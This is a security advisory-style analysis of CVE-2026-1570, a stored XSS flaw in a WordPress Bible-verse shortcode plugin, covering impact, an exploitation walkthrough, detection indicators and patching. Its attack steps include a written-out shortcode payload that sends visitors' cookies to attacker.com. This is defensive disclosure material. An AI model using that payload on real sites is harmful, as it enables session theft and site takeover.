CVE-2026-1570: 
WordPress vulnerability analysis and mitigation

CVE-2026-1570 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Bible Verse via Shortcode plugin for WordPress, affecting all versions up to and including 1.1. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's verse shortcode, allowing authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages. It was published on February 7, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's index.php at line 40, where attributes passed to the verse shortcode are neither sanitized on input nor escaped on output before being rendered in the page HTML (WordPress Trac). An authenticated attacker with at least contributor-level access can craft a post or page containing a malicious [verse] shortcode with an injected JavaScript payload; the script is stored server-side and executes in the browser of any visitor who loads the affected page. No user interaction beyond page visitation is required for the payload to trigger (Wordfence).

Successful exploitation allows persistent JavaScript execution in the context of any visitor's browser session on the affected WordPress site, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, redirection to malicious sites). Because the injected script executes for all users who visit the compromised page — including administrators — there is potential for privilege escalation or further site compromise. Availability is not directly impacted, but the scope is changed (S:C), meaning the attack can affect resources beyond the plugin itself (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1570 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Simple Bible Verse via Shortcode plugin version 1.1 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a [verse] shortcode with a malicious attribute payload, e.g., [verse attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit for review: Save or publish the post. The malicious script is stored in the WordPress database as part of the page content.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the browser renders and executes the malicious JavaScript, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or wp-json/wp/v2/posts containing [verse shortcode with unusual attribute values including HTML tags or JavaScript.
• Database: WordPress wp_posts table entries containing [verse shortcode with embedded <script>, onerror, onload, or other JavaScript event handlers in shortcode attributes.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the [verse] shortcode, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to plugin files in wp-content/plugins/simple-bible-verse-via-shortcode/, particularly index.php, which could indicate further tampering post-exploitation.

Users should update the Simple Bible Verse via Shortcode plugin to version 1.2 or later, which addresses the insufficient sanitization and escaping issues (Wordfence). As an interim measure, site administrators can restrict contributor-level user permissions or disable the plugin until the update is applied. Implementing a Web Application Firewall (WAF) with XSS filtering rules — such as Wordfence — can provide additional protection against exploitation attempts.

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for February 2–8, 2026, and published details in their threat intelligence database (Wordfence Weekly Report). The vulnerability was also tracked by ENISA's EUVD system (EUVD-2026-5744) and noted by security aggregators including VulDB and Vulners. No significant broader media coverage or notable researcher commentary beyond standard disclosure channels has been identified.